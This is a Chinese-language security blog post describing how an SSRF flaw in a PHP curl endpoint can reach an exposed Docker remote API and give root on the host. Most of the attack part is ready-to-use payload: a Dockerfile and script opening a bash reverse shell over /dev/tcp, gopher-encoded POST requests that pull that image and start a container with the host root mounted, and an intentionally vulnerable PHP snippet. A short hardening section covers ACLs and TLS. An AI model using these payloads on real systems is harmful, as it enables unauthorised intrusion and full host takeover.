利用SSRF攻击docker remote api从而获取服务器root权限的探索

首发于freebuf http://www.freebuf.com/articles/web/179910.html

这几天在做关于自动化部署docker镜像方面的项目,从而接触到了docker的api,而docker的api也可以通过tcp连接的形式来进行访问。那么从一个安全爱好者的角度出发,是否可以利用docker的远程api来实现提权等一系列的操作?查找了各种资料之后,最后我探索到了一条通过SSRF漏洞来攻击docker远程api从而最终还能够获得远程主机的root权限的攻击思路,并写了这篇文章来记录一下整个过程及其防范的方法。

什么是docker远程api?

Docker Remote API是docker团队为了方便我们远程管理docker而为我们提供的一套api接口。在默认的情况下,docker daemon坚挺在unix socket上,通常为unix:///var/run/docker.sock。此外,在一些情况比如当我们需要远程管理docker服务器或者是创建docker集群的情况下,我们往往需要开启docker的远程api。这里给出在ubuntu上的一种开启方法:

  • 编辑/lib/systemd/system/docker.service文件,修改ExecStart一行为:
1
2
3
4
5
6
7
8
[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
ExecReload=/bin/kill -s HUP $MAINPID
LimitNOFILE=1048576
  • 之后再重启docker
1
sudo service docker restart

我们便可以利用docker client或者任意http客户端访问docker服务,例如docker_remote.png

可以看到docker提供的api其实也是一个restful形式的http接口,具体的文档可以再docker的官网获取:Engine API V1.24

这里列出几个重要的接口:

  • 列出所有的容器
1
$ curl http:/localhost:4243/v1.24/containers/json
  • 列出所有镜像
1
2
3
4
5
$ curl http:/localhost:4243/v1.24/images/json[{
"Id":"sha256:31d9a31e1dd803470c5a151b8919ef1988ac3efd44281ac59d43ad623f275dcd",
"ParentId":"sha256:ee4603260daafe1a8c2f3b78fd760922918ab2441cbb2853ed5c439e59c52f96",
...
}]
  • 创建并运行容器
1
2
3
4
5
6
7
8
9
10
11
12
$ curl  -H "Content-Type: application/json" \
-d '{"Image": "alpine", "Cmd": ["echo", "hello world"]}' \
-X POST http:/localhost:4243/v1.24/containers/create
{"Id":"1c6594faf5","Warnings":null}

$ curl -X POST http:/localhost:4243/v1.24/containers/1c6594faf5/start

http:/localhost:4243/v1.24/containers/1c6594faf5/wait
{"StatusCode":0}

$ curl "http:/localhost:4243/v1.24/containers/1c6594faf5/logs?stdout=1"
hello world

可以看到如果开放了docker远程api,我们便可以使用restful接口来实现一切docker容器的操作。

怎样利用docker容器提权?

有些朋友可能会问了:docker容器内部是一个虚拟化的环境,与主机隔离,那么怎样才能利用docker容器达到主机的控制权?这里就涉及到docker运行时的用户权限了。docker daemon运行时是以root用户运行,因而具有极大的权限:

1
2
3
$ ps aux|grep dockerd
root 1723 0.1 0.8 563472 68900 ? Ssl 17:17 0:24 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
image 25504 0.0 0.0 15984 936 pts/3 S+ 21:12 0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn dockerd

那么怎样通过docker daemon最终获得服务器的root权限?这里我们可以利用docker挂载宿主机文件的功能,直接挂载高权限目录,从而在容器内部获取宿主机的控制权限。这里有一个黑魔法:

1
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

运行后的输出如下:verify我们退出docker,查看宿主机/root/目录:success可以看到我们成功写入了/root文件夹一个文件。上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease主要的作用是:从 Docker Hub 上面下载我们指定的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。而这个镜像rootplease在容器内部执行了一个脚本exploit.sh,主要内容便是chroot到/hostOS中。这样我们便通过读写宿主机的任意文件实现了获取宿主机的最高权限。这个镜像的源码可以在Github上获取。

怎样通过SSRF完成攻击?

这里我们的服务器端环境如下:

environ

这里我们来看在php中经常出现的导致SSRF漏洞的代码实现:

1
2
3
4
5
6
7
8
<?php
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$_GET['url']);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
$data=curl_exec($curl);
curl_close($curl);
print_r($data);

php中通常使用libcurl来实现http请求,这里可以看到$_GET['url']可控,从而可以请求任意站点,从而构成了SSRF漏洞。但是有的读者有可能会问:docker的api有很大一部分是需要post的,那么怎样才能发送post封包?这里便祭出我们的大杀器——gopher协议。Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。 这里Ricterz师傅曾经写过一篇很好的关于gopher协议扩展ssrf攻击面的文章。因此我们便可以通过gopher协议来访问内网开放的docker api从而实现攻击。我们可以先尝试获取所有的镜像:

1
2
root@1ae6b62d1757:/var/www/html# curl localhost/curl.php?url=http://172.17.0.1:4243/containers/json
[{"Id":"fa169d6b4239882bb6a0a2d564fd9891c04cf199ac12daec514f69febf960e9b","Names":["/quirky_mcnulty"],"Image":"chrisfosterelli/rootplease","ImageID":"sha256:0db941813769383d7ed3bdcccd27af1b6d7b47ed0fb33f1b47f7bb937529fa3e","Command":"/bin/bash exploit.sh","Created":1533475418,"Ports":[],"Labels":{},"State":"running","Status":"Up 17 minutes","HostConfig":{"NetworkMode":"default"},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"NetworkID":"9a8a2dd6afbbc355194a5fd224757ac8fe11760dbfde91c07c46689146e15089","EndpointID":"a079ba4ac68eafb5add6b56822dd13a288ca059a815e7a011e82bdcb8fd8542b","Gateway":"172.17.0.1","IPAddress":"172.17.0.4","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:11:00:04","DriverOpts":null}}},"Mounts":[{"Type":"bind","Source":"/","Destination":"/hostOS","Mode":"","RW":true,"Propagation":"rslave"}]},]

我们可以先构造一个特殊的docker镜像,并将之上传到DockerHub

1
2
3
FROM ubuntu:14.04
COPY exploit.sh /exploit.sh
ENTRYPOINT ["/bin/bash", "exploit.sh"]

这里我们的exploit.sh的写法:

1
2
#!/bin/bash
bash -i >& /dev/tcp/$1/$2 0>&1

这里的docker镜像已经上传到了dockerhub

之后我们可以先构造合适的post封包:

1
2
3
4
5
6
POST /v1.24/images/create?fromImage=imagemlt/reverse_shell HTTP/1.1
Host: localhost:4243
User-Agent: Docker-Client/18.03.1-ce (linux)
Content-Length: 0
Content-Type: text/plain
X-Registry-Auth: e30=

这个post封包的目标是让远程主机从dockerhub下载我们需要的镜像。构造为gopher格式为:

1
gopher://172.17.0.1:4243/_POST%20/v1.24/images/create%3FfromImage%3Dimagemlt/reverse_shell%20HTTP/1.1%0AHost%3A%20localhost%3A4243%0AUser-Agent%3A%20Docker-Client/18.03.1-ce%20%28linux%29%0AContent-Length%3A%200%0AContent-Type%3A%20text/plain%0A X-Registry-Auth:%20e30%3D%0A%0A

通过ssrf的点触发即可在远程服务器下载我们的镜像。pull.png

之后再创建容器

1
2
3
4
5
6
7
POST /v1.24/containers/create HTTP/1.1
Host: localhost:4243
User-Agent: Docker-Client/18.03.1-ce (linux)
Content-Length: 99
Content-Type: application/json

{"Cmd":["your ip","3456"],"Image":"imagemlt/reverse_shell","HostConfig":{"Binds":["/:/hostOS"]}}

将封包包装为gopher的形式:

1
gopher://172.17.0.1:4243/_POST%20/v1.24/containers/create%20HTTP/1.1%0AHost%3A%20localhost%3A4243%0AUser-Agent%3A%20Docker-Client/18.03.1-ce%20%28linux%29%0AContent-Length%3A%2099%0AContent-Type%3A%20application/json%0A%0A%7B%22Cmd%22%3A%5B%22your ip%22%2C%223456%22%5D%2C%22Image%22%3A%22imagemlt/reverse_shell%22%2C%22HostConfig%22%3A%7B%22Binds%22%3A%5B%22/%3A/hostOS%22%5D%7D%7D%0A%0d%0a

这里我们再最后多加了一些%0d%0a从而让连接能够断开。然后利用之前的ssrf的地方请求这个url,可以获得创建的容器id:create.png

获取id后我们再post相应的使容器运行的封包:

1
2
3
4
5
POST /v1.24/containers/5a42a09f7bb889f53943015346682388d40a151ec5bad30024282eee11811380/start HTTP/1.1
Host: localhost:4243
User-Agent: Docker-Client/18.03.1-ce (linux)
Content-Length: 0
Content-Type: application/json

我们的服务器端nc端口3456,构造gopher格式的url候再次发送封包:

attack.pnggetshell.png

可以看到服务器端成功返回shell,且已成功挂载宿主机根目录到/hostOS下。

这样我们便通过ssrf与docker未授权api完成了一次攻击,并且获取了宿主机的root权限!

除了反弹shell的方法,我们也可以借助写crontab的方法来获得最后的shell,这里便不再赘述。

如何防范?

在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:

  • 设置ACL,仅允许信任的来源IP连接;

  • 设置TLS认证,官方的文档为Protect the Docker daemon socket

客户端与服务器端通讯的证书生成后,可以通过以下命令启动docker daemon:

1
docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock

客户端连接时需要设置以下环境变量

1
2
3
4
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

这样便可以避免未授权的docker api被远程利用。

总结

未授权的docker remote api具有极大的风险,当结合ssrf漏洞时可以作为渗透测试扩展供给面的工具,最后获得root shell.因此我们做开发时应该严格防范。最后总结一下我们的攻击思路:

flow.png

参考资料